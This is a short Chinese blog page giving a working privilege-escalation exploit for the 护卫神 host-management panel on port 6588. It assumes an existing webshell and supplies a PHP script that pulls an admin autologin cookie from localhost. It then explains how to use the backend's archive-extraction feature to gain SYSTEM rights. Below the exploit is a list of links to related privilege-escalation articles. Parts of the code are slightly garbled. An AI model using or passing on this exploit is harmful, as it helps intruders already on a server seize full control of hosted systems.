护卫神6588端口提权

利用条件:
1.有shell
2.有可执行脚本

<?php
function httpGet() {$url = 'http://127.0.0.1:6588/admin/index.asp?f=autologin';$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_HEADER, TRUE);    //表示需要response headercurl_setopt($ch, CURLOPT_NOBODY, TRUE); //表示需要response bodycurl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);curl_setopt($ch, CURLOPT_FOLLOWLOCATION, FALSE);curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);curl_setopt($ch, CURLOPT_TIMEOUT, 120);$result = curl_exec($ch);return $result;
}
echo httpGet();
echo asd;
?

拿到的cookie拿去后台登陆利用支持解压包以护卫神的system权限达到提权的目的

护卫神6588端口提权相关推荐

护卫神mysql提权_护卫神主机大师提权漏洞利用分析
*本文原创作者:Freedom,本文属FreeBuf原创奖励计划,未经许可禁止转载 0x01 前言护卫神·主机大师支持一键安装网站运行环境(IIS+ASP+ASP.net+PHP5.2-5.6+My ...
护卫神mysql提权_【转载】提权纪实-突破护卫神目录权限
一个dede的站shell,看了下 disable_functions exec,system,passthru,popen,pclose,shell_exec,proc_open,dl,chmod, ...
应用安全-提权/降权相关整理
工具提权 https://github.com/SecWiki/linux-kernel-exploits 提权CVE https://github.com/nixawk/labs 操作系统提权-Wi ...
渗透学什么？渗透测试中超全的提权思路来了!
雨笋小编又来分享渗透测试干货了,感兴趣的伙伴们惠存! 提权Webshell:尽量能够获取webshell,如果获取不到webshell可以在有文件上传的地方上传反弹shell脚本:或者利用漏洞(系统漏 ...
MySQL提权总结与记录-UDF/MOF/启动项提权
0x00 Mysql提权基础 Mysql提权主要是需要利用高权限的Mysql用户进行操作,拿用户主要是下列几种方式注入上传getshell 查看网站数据库配置信息拿到用户密码弱口令 mysql系 ...
提权 --Windows提权方式总结
文章目录一.提权含义二.环境搭建 2.1 环境一览 2.2 靶机环境搭建三.信息收集 3.1前提条件 3.2 基本信息收集 3.2.1 判断操作系统 3.2.2 判别当前权限 3.2.3 其它信 ...
护卫神mysql提权_护卫神主机大师被提权漏洞利用（可千万不能乱装护卫神主机管理一键安装的软件）...
"护卫神·主机大师支持一键安装网站运行环境(IIS+ASP+ASP.net+PHP5.2-5.6+MySQL+FTP+伪静态+PhpMyAdmin),并可在线开设主机.SQL Server和 ...
护卫神主机大师被提权漏洞利用（可千万不能乱装护卫神主机管理一键安装的软件）
"护卫神·主机大师支持一键安装网站运行环境(IIS+ASP+ASP.net+PHP5.2-5.6+MySQL+FTP+伪静态+PhpMyAdmin),并可在线开设主机.SQL Server和 ...
护卫神主机大师被提权漏洞利用（可千万不能乱装护卫神主机管理一键安装的软件）...
"护卫神·主机大师支持一键安装网站运行环境(IIS+ASP+ASP.net+PHP5.2-5.6+MySQL+FTP+伪静态+PhpMyAdmin),并可在线开设主机.SQL Server和 ...

护卫神6588端口提权

护卫神6588端口提权相关推荐

最新文章

热门文章